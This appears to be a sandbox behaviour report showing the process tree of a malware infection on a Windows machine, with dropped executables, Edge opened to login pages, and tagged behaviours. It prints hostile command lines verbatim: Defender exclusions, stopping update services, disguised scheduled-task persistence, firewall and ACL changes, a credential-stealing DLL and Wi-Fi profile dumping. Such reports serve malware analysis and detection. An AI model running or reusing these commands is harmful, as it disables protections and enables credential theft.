C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Users\Admin\AppData\Local\Temp\1173.exeC:\Users\Admin\AppData\Local\Temp\1173.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1368.exeC:\Users\Admin\AppData\Local\Temp\1368.exe2⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1657.exeC:\Users\Admin\AppData\Local\Temp\1657.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\18F8.exeC:\Users\Admin\AppData\Local\Temp\18F8.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2252 /prefetch:24⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2740 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:34⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5016 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5108 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,3629876322704337447,7640608749123072977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5636 /prefetch:14⤵
-
C:\Users\Admin\AppData\Local\Temp\4587.exeC:\Users\Admin\AppData\Local\Temp\4587.exe2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5496 -s 9004⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\kos4.exe"C:\Users\Admin\AppData\Local\Temp\kos4.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-UOVON.tmp\LzmwAqmV.tmp"C:\Users\Admin\AppData\Local\Temp\is-UOVON.tmp\LzmwAqmV.tmp" /SL5="$2030E,5422341,156160,C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe"C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe" -i6⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 16⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 17⤵
-
C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe"C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe" -s6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\4CAC.exeC:\Users\Admin\AppData\Local\Temp\4CAC.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\5855.exeC:\Users\Admin\AppData\Local\Temp\5855.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7980 -s 5724⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\5D77.exeC:\Users\Admin\AppData\Local\Temp\5D77.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Users\Admin\AppData\Local\Temp\6076.exeC:\Users\Admin\AppData\Local\Temp\6076.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\6568.exeC:\Users\Admin\AppData\Local\Temp\6568.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\6B93.exeC:\Users\Admin\AppData\Local\Temp\6B93.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe"C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F4⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "Admin:N"&&CACLS "..\ea7c8244c8" /P "Admin:R" /E&&Exit4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "Utsysc.exe" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "Utsysc.exe" /P "Admin:R" /E5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\ea7c8244c8" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\ea7c8244c8" /P "Admin:R" /E5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\465dbc52837d81\cred64.dll, Main4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\465dbc52837d81\cred64.dll, Main5⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\system32\netsh.exenetsh wlan show profiles6⤵
-
C:\Windows\system32\tar.exetar.exe -cf "C:\Users\Admin\AppData\Local\Temp\771604342093_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"6⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\465dbc52837d81\clip64.dll, Main4⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
-
